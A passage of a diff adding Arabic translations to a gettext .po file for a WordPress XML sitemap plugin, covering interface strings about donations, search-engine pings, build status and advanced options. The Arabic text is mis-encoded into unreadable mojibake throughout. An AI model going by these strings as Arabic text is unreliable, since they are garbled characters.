+msgid "Notify List"
+msgstr "ÙØ§ØŠÙ
+Ø© Ø§ÙØªØšÙÙØº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "Support Forum"
+msgstr "Ù
+ÙØªØ¯Ù Ø§ÙØ¯Ø¹Ù
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:424
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:538
+msgid "Report a Bug"
+msgstr "Ø£ØšÙØº Ø¹Ù Ø®Ø·Ø£"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:540
+msgid "Donate with PayPal"
+msgstr "ØªØšØ±Ø¹ ØšØ§ÙØšØ§Ù ØšØ§Ù"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:541
+msgid "My Amazon Wish List"
+msgstr "ÙØ§ØŠÙ
+Ø© Ø±ØºØšØ§ØªÙ ØšØ£Ù
+Ø§Ø²ÙÙ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "translator_name"
+msgstr "Ø¥Ø¹Ø§Ø¯Ø© Ø§ÙØªØ±Ø¬Ù
+Ø© : Ø­Ø§Ø²Ù
+ Ø®Ø§ÙØ¯"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "translator_url"
+msgstr "http://HazemKhaled.com"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:545
+msgid "Sitemap Resources:"
+msgstr "Ù
+ÙØ§Ø±Ø¯ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:546
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:552
+msgid "Webmaster Tools"
+msgstr "Ø§Ø¯ÙØ§Øª Ù
+Ø¯ÙØ± Ø§ÙÙ
+ÙÙØ¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:547
+msgid "Webmaster Blog"
+msgstr "Ù
+Ø¯ÙÙØ© Ù
+Ø¯ÙØ± Ø§ÙÙ
+ÙÙØ¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:549
+msgid "Site Explorer"
+msgstr "Ù
+ØªØµÙØ­ Ø§ÙÙ
+ÙÙØ¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:550
+msgid "Search Blog"
+msgstr "ØšØ­Ø« Ø§ÙÙ
+Ø¯ÙÙØ©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3010
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:553
+msgid "Webmaster Center Blog"
+msgstr "Ù
+Ø¯ÙÙØ© Ù
+Ø±ÙØ² Ù
+Ø¯ÙØ± Ø§ÙÙ
+ÙÙØ¹"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:555
+msgid "Sitemaps Protocol"
+msgstr "ØšØ±ÙØªÙÙÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:556
+msgid "Official Sitemaps FAQ"
+msgstr "Ø§ÙØ£Ø³ØŠÙØ© Ø§ÙØŽØ§ØŠØ¹Ø© Ø§ÙØ±Ø³Ù
+ÙØ© Ø¹Ù Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙØ§ÙØ¹"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:557
+msgid "My Sitemaps FAQ"
+msgstr "Ø§ÙØ£Ø³ØŠÙØ© Ø§ÙØŽØ§ØŠØ¹Ø© Ø¹Ù Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:560
+msgid "Recent Donations:"
+msgstr "Ø£Ø®Ø± ØªØšØ±Ø¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:564
+msgid "List of the donors"
+msgstr "ÙØ§ØŠÙ
+Ø© Ø§ÙÙ
+ØªØšØ±Ø¹ÙÙ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:566
+msgid "Hide this list"
+msgstr "Ø§Ø®ÙØ§Ø¡ ÙØ°Ù Ø§ÙÙØ§ØŠÙ
+Ø©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:569
+msgid "Thanks for your support!"
+msgstr "ØŽÙØ±Ø§Ù ÙØ¯Ø¹Ù
+Ù"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:587
+msgid "Status"
+msgstr "Ø§ÙØ­Ø§ÙØ©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:595
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:601
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:603
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Ù
+ØŽÙÙØ© ÙÙ Ù
+ÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹. ØªØ§ÙØ¯ Ù
+Ù ØªÙØ§Ø¬Ø¯ Ø§ÙÙ
+ÙÙ ÙÙ
+Ù Ø¥ØªØ§Ø¬Ø© Ø§ÙÙØªØ§ØšØ© Ø¹ÙÙÙ. <a href=\"%url%\">Ø£Ø¹Ø±Ù Ø§ÙÙ
+Ø²ÙØ¯</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:610
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:612
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Ù
+ØŽÙÙØ© ÙÙ Ù
+ÙÙ ØªÙÙÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹ Ø§ÙÙ
+Ø¶ØºÙØ·Ø©. ØªØ§ÙØ¯ Ù
+Ù ØªÙØ§Ø¬Ø¯ Ø§ÙÙ
+ÙÙ ÙÙ
+Ù Ø¥ØªØ§Ø¬Ø© Ø§ÙÙØªØ§ØšØ© Ø¹ÙÙÙ. <a href=\"%url%\">Ø£Ø¹Ø±Ù Ø§ÙÙ
+Ø²ÙØ¯</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:618
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:621
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:624
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:630
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:633
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:636
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:642
+msgid "Bing was <b>successfully notified</b> about changes."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:645
+msgid "It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:648
+#, php-format
+msgid "There was a problem while notifying Bing. <a href=\"%s\">View result</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:654
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:657
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:660
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:668
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "ØªÙ
+ Ø§ÙØ£ÙØŽØ§Ø¡ ÙÙ Ø­ÙØ§ÙÙ <b>%time% Ø«Ø§ÙÙØ©</b> ÙØ£Ø³ØªØ®Ø¯Ø§Ù
+ %memory% MB Ù
+Ù Ø§ÙØ°Ø§ÙØ±Ø©."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:670
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:674
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:586
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:682
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:685
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:687
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:691
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:695
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:698
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Ø¥Ø°Ø§ ØªØºÙØ± ØŽÙØ¡ Ø¹ÙÙ Ø§ÙØ®Ø§Ø¯Ù
+ Ø§ÙØ®Ø§Øµ ØšÙ Ø£Ù Ù
+Ø¯ÙÙØªÙ, ÙÙØ¬Øš Ø¹ÙÙÙ <a href=\"%s\">Ø¥Ø¹Ø§Ø¯Ø© ØºÙØŽØ§Ø¡</a> Ø§ÙØ®Ø±ÙØ·Ø© ÙØ¯ÙÙØ§Ù"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:700
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Ø¥Ø°Ø§ ÙØ§Ø¬ÙØªÙ Ø£Ù Ù
+ØŽØ§ÙÙ ÙÙ Ø¹Ù
+ÙÙØ© Ø§ÙØŽØ§Ø¡ Ø§ÙØ®Ø±ÙØ·Ø© ÙÙÙ
+ÙÙÙ Ø£Ø³ØªØ®Ø¯Ø§Ù
+ <a href=\"%d\">debug function</a> ÙÙØ­ØµÙÙ Ø¹ÙÙ Ø§ÙÙ
+Ø²ÙØ¯ Ù
+Ù Ø§ÙÙ
+Ø¹ÙÙÙ
+Ø§Øª"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:707
+msgid "Basic Options"
+msgstr "Ø¥Ø¹Ø¯Ø§Ø¯Ø§Øª Ø£Ø³Ø§Ø³ÙØ©"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:709
+msgid "Sitemap files:"
+msgstr "Ù
+ÙÙØ§Øª Ø§ÙØ®Ø±ÙØ·Ø©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:709
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:744
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "Learn more"
+msgstr "Ø£Ø¹Ø±Ù Ø§ÙÙ
+Ø²ÙØ¯"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:714
+msgid "Write a normal XML file (your filename)"
+msgstr "ÙØªØ§ØšØ© Ù
+ÙÙ XML Ø¹Ø§Ø¯Ù (Ù
+ÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:720
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "ÙØªØ§ØšØ© Ù
+ÙÙ XML Ù
+Ø¶ØºÙØ· (Ù
+ÙÙ Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹ + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+msgid "Building mode:"
+msgstr "ÙØžØ§Ù
+ Ø§ÙØšÙØ§Ø¡:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:729
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Ø§Ø¹Ø§Ø¯Ø© Ø¥ÙØŽØ§Ø¡ Ø§ÙØ®Ø±ÙØ·Ø© Ø¥Ø°Ø§ ÙÙ
+Øª ØšØªØºÙÙØ± Ù
+Ø­ØªÙÙ Ø§ÙÙ
+Ø¯ÙÙØ©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:736
+msgid "Enable manual sitemap building via GET Request"
+msgstr "Ø¥ØªØ§Ø­Ø© Ø£ÙØŽØ§Ø¡ Ø§ÙØ®Ø±ÙØ·Ø© ÙØ¯ÙÙØ§Ù Ø¹Ù Ø·Ø±ÙÙ Ø·ÙØš GET"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:740
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:744
+msgid "Update notification:"
+msgstr "ØªØ­Ø¯ÙØ« Ø§ÙØªØšÙÙØºØ§Øª:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:748
+msgid "Notify Google about updates of your Blog"
+msgstr "ØªØšÙÙØº Ø¬ÙØ¬Ù Ø¹Ù ØªØ­Ø¯ÙØ«Ø§Øª Ù
+ÙÙØ¹Ù"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:749
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "ÙØ§ ÙØ­ØªØ§Ø¬ ÙÙØªØ³Ø¬ÙÙ, ÙÙÙÙ ÙÙ
+ÙÙÙ Ø§ÙØªØ³Ø¬ÙÙ ÙÙ <a href=\"%s\">Google Webmaster Tools</a> ÙÙ
+ØªØ§ØšØ¹Ø© Ø£Ø­ØµØ§ØŠÙØ§Øª Ø£Ø±ØŽÙØ© Ù
+ÙÙØ¹Ù."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:753
+msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
+msgstr "Ø£ØšÙØ§Øº BING (Ø±Ø³Ù
+ÙØ§Ù MSN Live Search) Ø¹Ù Ø§ÙØªØ­Ø¯ÙØ«Ø§Øª ØšÙ
+Ø¯ÙÙØªÙ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:754
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Bing Webmaster Tools</a> to check crawling statistics."
+msgstr "ÙØ§ ÙØ­ØªØ§Ø¬ ÙÙØªØ³Ø¬ÙÙ, ÙÙÙÙ ÙÙ
+ÙÙÙ Ø§ÙØªØ³Ø¬ÙÙ ÙÙ <a href=\"%s\">Bing Webmaster Tools</a> ÙÙ
+ØªØ§ØšØ¹Ø© Ø£Ø­ØµØ§ØŠÙØ§Øª Ø£Ø±ØŽÙØ© Ù
+ÙÙØ¹Ù."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:758
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Ø£ØšÙØ§Øº Ask.com Ø¹Ù ØªØ­Ø¯ÙØ«Ø§Øª Ù
+Ø¯ÙÙØªÙ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:759
+msgid "No registration required."
+msgstr "ÙØ§ ÙØ­ØªØ§Ø¬ ÙÙØªØ³Ø¬ÙÙ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:763
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "ØªØšÙÙØº YAHOO ØšØªØ­Ø¯ÙØ«Ø§Øª Ù
+Ø¯ÙÙØªÙ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:764
+msgid "Your Application ID:"
+msgstr "Ø±ÙÙ
+ Ø§ÙØ·ÙØš Ø§ÙØ®Ø§Øµ ØšÙ :"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:765
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:770
+msgid "Add sitemap URL to the virtual robots.txt file."
+msgstr "Ø¥Ø¶Ø§ÙØ© Ø®Ø±ÙØ·Ø© Ø§ÙÙ
+ÙÙØ¹ ÙÙ
+ÙÙ robots.txt"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:774
+msgid "The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!"
+msgstr "Ù
+ÙÙ robots.txt Ø§ÙØ£ÙØªØ±Ø§Ø¶Ù Ø§ÙØ°Ù ØªÙ
+ Ø¥ÙØŽØ§ØŠÙ ØšÙØ§Ø³Ø·Ø© WordPress ÙÙØ¯ Ø§ÙØ£Ø³ØªØ®Ø¯Ø§Ù
+. Ù
+ÙÙ  robots.txt Ø§ÙÙØ¹ÙÙ ÙØ¬Øš Ø£Ù ÙØ§ ÙÙÙÙ Ù
+ÙØ¬ÙØ¯ ØšÙ
+Ø¬ÙØ¯ Ø§ÙÙ
+Ø¯ÙÙØ©!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "Advanced options:"
+msgstr "Ø®ÙØ§Ø±Ø§Øª Ù
+ØªÙØ¯Ù
+Ø©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Limit the number of posts in the sitemap:"
+msgstr "ØªØ­Ø¯ÙØ¯ Ø¹Ø¯Ø¯ Ø§ÙØªØ¯ÙÙÙØ§Øª ÙÙ Ø§ÙØ®Ø±ÙØ·Ø© :"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Newer posts will be included first"
+msgstr "Ø§ÙØªØ¯ÙÙÙØ© Ø§ÙØ¬Ø¯ÙØ¯Ø© Ø³ØªØ¯Ø±Ø¬ Ø§ÙØ£ÙÙÙ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Try to increase the memory limit to:"
+msgstr "Ø­Ø§ÙÙ ØªØ²ÙØ¯ Ø­Ø¯ Ø§ÙØ°Ø§ÙØ±Ø© Ø¥ÙÙ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "e.g. \"4M\", \"16M\""
+msgstr "Ù
+Ø«Ø§Ù : \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "Try to increase the execution time limit to:"
+msgstr "Ø­Ø§ÙÙ Ø²ÙØ§Ø¯Ø© Ù
+Ø¯Ø© Ø§ÙØªÙÙÙØ° :"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "ØšØ§ÙØ«ÙØ§ÙÙ, Ù
+Ø«Ø§Ù:  \"60\" Ø£Ù \"0\" ÙÙØºÙØ± ÙÙØ§ØŠÙ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:790
+msgid "Include a XSLT stylesheet:"
+msgstr "Ø£Ø³ØªØ®Ø¯Ø§Ù
+ Ù
+ÙÙ ØªÙØ³ÙÙÙ XSLT:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Full or relative URL to your .xsl file"
+msgstr "Ø§ÙØ±Ø§ØšØ· ÙØ§Ù
+ÙØ§Ù Ù
+ÙÙÙ
+ Ø§Ù .xsl"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Use default"
+msgstr "Ø£Ø³ØªØ®Ø¯Ø§Ù
+ Ø§ÙØ£ÙØªØ±Ø§Ø¶Ù"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:797
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "ØªÙØ¹ÙÙ ÙØ¶Ø¹ MySQL Ø§ÙÙÙØ§Ø³Ù. Ø£Ø³ØªØ®Ø¯ÙØ§ ÙÙØ· ÙÙ Ø­Ø§ÙØ© Ø­Ø¯ÙØ« Ø§Ø®Ø·Ø§Ø¡ MySQL. (ÙØ­ØªØ§Ø¬ Ø¥ÙÙ Ø§ÙÙ
+Ø²ÙØ¯ Ù
+Ù Ø§ÙØ°Ø§ÙØ±Ø©!)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:798
+msgid "Upgrade WordPress at least to 2.2 to enable the faster MySQL access"
+msgstr "ÙØ¬Øš ØªØ­Ø¯ÙØ« ÙØ±Ø¯ØšØ±ÙØ³ ÙÙØ£ØµØ¯Ø§Ø±Ø© 2.2 ÙØªÙØ¹ÙÙ ÙØµÙ Ø£Ø³Ø±Ø¹ ÙÙ MySQL"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
